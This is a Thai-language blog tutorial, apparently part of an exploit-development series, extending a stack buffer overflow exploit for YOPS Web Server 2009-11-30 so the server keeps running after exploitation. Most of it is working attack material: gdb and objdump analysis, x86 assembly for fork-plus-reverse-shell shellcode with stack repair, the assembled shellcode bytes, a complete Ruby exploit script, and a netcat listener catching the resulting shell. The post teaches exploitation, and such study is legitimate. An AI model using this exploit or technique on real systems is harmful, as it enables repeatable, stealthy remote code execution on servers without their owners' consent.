จากหัวข้อที่แล้ว เราได้ exploit สำหรับ YOPS Web Server 2009-11-30 ที่ต้องทำการ request ปกติก่อนหนึ่งครั้ง แต่จริงๆ แล้วถ้าเราไม่รันโปรแกรมจาก gdb เราไม่จำเป็นต้องส่ง request ปกติก่อน ทั้งนี้เป็นเพราะ gdb ได้เพิ่มค่าต่างๆ ทำให้ memory address ในบาง section ถูกเลื่อน ถ้าใครลองรันโปรแกรมข้างนอก แล้วใช้ gdb attach process จะเห็น exploit สามารถทำงานได้ปกติตั้งแต่ request แรก
ทุกคนคงเห็นแล้วว่า exploit ที่เรามีตอนนี้ยิงได้ครั้งเดียว หลังจากเรา exit shell ที่เราได้ โปรแกรมก็จะจบตามไปด้วย ในหัวข้อนี้เราจะมาลองทำให้ยิงแล้วโปรแกรมไม่ crash และเมื่อออกแล้วโปรแกรมยังสามารถทำงานได้ปกติ แต่เพื่อเป็นการฝึก ผมจะเปลี่ยนการเขียน exploit ที่ใช้ภาษา python เป็น ruby ซึ่งผมก็ไม่เคยเขียนมาก่อนเหมือนกัน และแปลง exploit สุดท้ายจากหัวข้อที่แล้วได้เป็น (ลองฝึกแปลงเองก่อนดีกว่านะ) ex12_yops2_1.rb
โดยส่วนมาก โปรแกรมที่เป็น server บน Linux จะทำการ (pre-)fork ตัวเอง เพื่อจัดการกับ connection ที่ client ต่อเข้ามา แต่เนื่องด้วยโปรแกรมนี้ทำงานแบบ multi-threads มี process เดียว ทำให้เมื่อเราทำโปรแกรม crash หรือออกจาก reverse shell ที่เราได้ทำให้โปรแกรมจบไปด้วย ดังนั้นสิ่งที่เราต้องทำเพื่อให้โปรแกรมทำงานต่อได้หลังจากยิง exploit คือไม่ทำให้โปรแกรม crash (ทำได้แล้ว) และ shellcode เราต้องทำการ fork ก่อนที่จะทำ reverse shell เพื่อไม่ให้ shell เราแทนที่โปรแกรมหลัก นอกจากนี้แล้วเราต้องทำให้โปรแกรมหลักกลับเข้าสู่การทำงานปกติ
การที่เราจะ fork ก็ง่ายนิดเดียว เขียน shellcode ให้ทำการ fork ซึ่ง syscall number คือ 2 โดย process ลูกจะ return ค่า 0 มา ดังนั้น assembly คราวๆ ที่จะได้คือ
# fork() xorl %eax,%eax movb $2,%al # fork syscall number int $0x80 test %eax,%eax jz child # parent child: # child (our reverse shellcode here)
ในส่วนของ child ก็คือ shellcode เดิมของเรา แต่ส่วนที่เราต้องแก้ปัญหาคือ parent เพราะเราได้ทำการเขียนทับข้อมูลบน stack จนเละไปแล้ว รวมถึงได้เปลี่ยน eip มาอยู่บน stack เพื่อที่จะรัน shellcode ของเรา ดังนั้นสิ่งที่ต้องมีใน shellcode ของเราแน่ๆ คือ jmp กลับไปงานต่อที่ที่เราแก้ saved eip ไป เรามาดูค่าต่างๆ ใน stack ใน swebs_record_log function ก่อน
$ gdb ./swebs ... (gdb) b swebs_record_log Breakpoint 1 at 0x804a7d8: file swebs.c, line 545. (gdb) r ... Breakpoint 1, swebs_record_log (log=5, job=0x804f198) at swebs.c:545 545 memset(logrec, 0, sizeof(logrec)); (gdb) bt # ดู call stack #0 swebs_record_log (log=5, job=0x804f198) at swebs.c:545 #1 0x0804cdf9 in logger_th (arg=0x804e4a8) at main.c:382 #2 0x0014596e in start_thread () from /lib/tls/i686/cmov/libpthread.so.0 #3 0x00226a4e in clone () from /lib/tls/i686/cmov/libc.so.6 (gdb) i f 1 # ดู stack frame ที่เราจะต้องทำให้โปรแกรมกลับไปทำงานต่อ Stack frame at 0xb7fff3a0: eip = 0x804cdf9 in logger_th (main.c:382); saved eip 0x14596e called by frame at 0xb7fff4a0, caller of frame at 0xb7fff350 source language c. Arglist at 0xb7fff398, args: arg=0x804e4a8 Locals at 0xb7fff398, Previous frame s sp is 0xb7fff3a0 Saved registers: ebp at 0xb7fff398, eip at 0xb7fff39c (gdb) x/24x $ebp # ดูค่าบน stack สำหรับ logger_th function 0xb7fff348: 0xb7fff398 0x0804cdf9 0x00000005 0x0804f198 0xb7fff358: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7fff368: 0x00000000 0x00000000 0x00000000 0x00000000 0xb7fff378: 0x00000000 0x0804f198 0x0804e4a8 0x00000000 0xb7fff388: 0x00000011 0x00000005 0x00000000 0x00000000 0xb7fff398: 0xb7fff498 0x0014596e 0x0804e4a8 0x00000002
สิ่งที่เราเห็นอย่างแรกคือ โปรแกรมต้องไปทำงานต่อที่ 0x0804cdf9 เมื่อจบ swebs_record_log function และเมื่อดูต่อจะได้ ebp เมื่อกลับไปทำงานที่ logger_th function ต้องเป็น 0xb7fff398 แต่เราได้เห็นจาก exploit ที่เราเขียนกันก่อนหน้านี้ว่า address ของ stack มันไม่แน่ไม่นอน ขึ้นอยู่กับหลายๆ อย่าง ดังนั้นถ้าเราใช้ค่านี้ อาจจะใช้ได้สำหรับเครื่องบางเครื่อง
สิ่งที่เรารู้แน่คือ ค่าของ esp หลังจากคำสั่ง ret ใน swebs_record_log function จะถูกต้องเสมอ (ถ้างงก็ลองไล่ใน gdb ดูนะครับ) โดยสำหรับกรณีนี้คือ 0xb7fff350 และระยะห่างระหว่าง esp กับ ebp จะคงที่คือ ดังนั้นคำสั่ง assembly ที่เราสามารถนำมาใช้เพื่อแก้ ebp ให้เป็นปกติคือ 0xb7fff398 - 0xb7fff350 = 0x48
lea 0x48(%esp),%ebp
ต่อไปคือ การเปลี่ยน eip กับไปที่เดิมคือ 0x0804cdf9 โดยเราสามารถใส่คำสั่ง jmp ไปตรงๆ ได้เลย แต่ผมไม่ชอบวิธีนี้ เพราะว่าถ้า address ของ code เปลี่ยน เราจะแก้ลำบาก ซึ่งวิธีของผมคือใช้
jmp (%esp)
เนื่องด้วยหลังจากจบ swebs_record_log function ด้วยคำสั่ง ret ค่าของ esp จะชี้ไปที่ argument แรกคือ log argument ซึ่งตอนนี้เราเขียนค่าขยะลงไป ดังนั้นถ้าเราเปลี่ยนเป็น address ที่เราต้องการกลับไปทำงานต่อ เราสามารถใช้คำสั่ง "jmp (%esp)"
สิ่งที่ต้องระวังอีกอย่างคือ เราต้องไม่ไปเขียนทับตัวแปรของ logger_th function และ exploit ต้องมีการเขียนเกินอยู่แล้วด้วย ซึ่งโชคดีที่มีพื้นที่อยู่พอสมควรหลังจาก job argument (ดูจากจำนวน 0x00000000) แต่เพื่อให้ปลอดภัยมากขึ้นเวลา request ผมจะไม่ใส่ " HTTP/1.0" เพื่อที่จะให้มีการเขียนต่อท้ายน้อยลง
สิ่งสุดท้ายที่จะต้อง check คือในบาง function จะมีการ save ค่า register ไว้ก่อนใน stack แล้วแก้ค่ากลับก่อนจบ function เพื่อให้ function ที่เรียกมันใช้ค่าใน register ได้เลย ซึ่งเมื่อเราดูที่ swebs_record_log function จะได้
$ objdump -d -j .text swebs | awk /^.*swebs_record_log\>:$/,/^$/ 0804a7cc <swebs_record_log>: 804a7cc: 55 push %ebp 804a7cd: 89 e5 mov %esp,%ebp 804a7cf: 57 push %edi 804a7d0: 56 push %esi 804a7d1: 53 push %ebx ... 804a96f: 5b pop %ebx 804a970: 5e pop %esi 804a971: 5f pop %edi 804a972: 5d pop %ebp 804a973: c3 ret
จะเห็นว่ามีการ save ค่า edi, esi และ ebx และเมื่อเรา check ที่ function ที่เรียกคือ logger_th function ตามคำสั่งข้างล่างจะเห็นว่าไม่พบมีการใช้ register พวกนี้เลย ดังนั้นเราสามารถเขียนทับค่าพวกนี้ได้ตามใจชอบ
$ objdump -d -j .text swebs | awk /^.*logger_th\>:$/,/^$/ | grep -e ebx -e esi -e edi $
ดังนั้น shellcode ของเราตอนนี้จะเป็น
lea 0x48(%esp),%ebp # fixed up ebp jmp (%esp)
ซึ่งเมื่อ build ออกมาจะได้
\x8d\x6c\x24\x48\xff\x24\x24
หลังจากได้ทุกอย่างพร้อมแล้ว เราก็มาทดสอบทำให้โปรแกรมทำงานต่อไปได้โดยไม่ crash ก่อน โดยยังไม่มีการทำ fork และ reverse shell จะได้ code เป็น (ex12_yops2_2.rb)
require 'socket' target_ip = "127.0.0.1" target_port = 8888 def send_request(ip, port, request) s = TCPSocket.open(ip, port) s.write(request) msg = s.recv(8192) s.close() return msg end my_pub_ip = "127.0.0.1" offset_no_ip = 828 offset = offset_no_ip - my_pub_ip.length job_addr = 0x0804d0c9 - 0x1024 sc_addr = 0xb7fff080 sc = "\x8d\x6c\x24\x48\xff\x24\x24" space = 700 # estimate payload = "\x90"*(space - sc.length) + sc cont_eip = 0x0804cdf9 page = payload+"A"*(offset-payload.length)+[sc_addr, cont_eip, job_addr].pack('VVV') print send_request(target_ip, target_port, "GET "+page+"\r\n\r\n")
ด้วย exploit นี้เราทำให้เกิด buffer overflow แล้วทำให้โปรแกรมกลับไปทำงานตามปกติ ซึ่งเมื่อทดสอบจะเห็นว่าเรายิงกี่ครั้งก็ได้ โปรแกรมก็ยังสามารถทำงานต่อไปได้
เมื่อทดสอบให้โปรแกรมทำงานต่อได้แล้ว เรามาเขียน shellcode แบบที่เราต้องการคือ fork แล้วทำ reverse shell ที่ child process ส่วน parent process ก็ให้ทำงานปกติต่อไป ซึ่งจะได้เป็น (ex12_yops2_sc.s)
.data .text .globl _start _start: # fork() xorl %eax,%eax # set eax to 0 with xor movb $2,%al # fork syscall number int $0x80 test %eax,%eax jz child lea 0x48(%esp),%ebp # fixed up ebp jmp *(%esp) child: inc %eax # to be replace with real shellcode
$ build-sc.sh ex12_yops2_sc.s Compiling ex12_yops2_sc.s to ex12_yops2_sc.o Extracting shellcode from ex12_yops2_sc.o to ex12_yops2_sc.sc \x31\xc0\xb0\x02\xcd\x80\x85\xc0\x74\x07\x8d\x6c\x24\x48\xff\x24\x24\x40 Creating ex12_yops2_sc.sctest.c Compiling ex12_yops2_sc.sctest.c to ex12_yops2_sc.sctest
สุดท้ายเมื่อเราเปลี่ยน shellcode ใน exploit เดิม (ex12_yops2.rb) เราจะสามารถยิงกี่ครั้งก็ได้
$ nc -nvl 4444 Connection from 127.0.0.1 port 4444 [tcp/*] accepted id uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)
No comments:
Post a Comment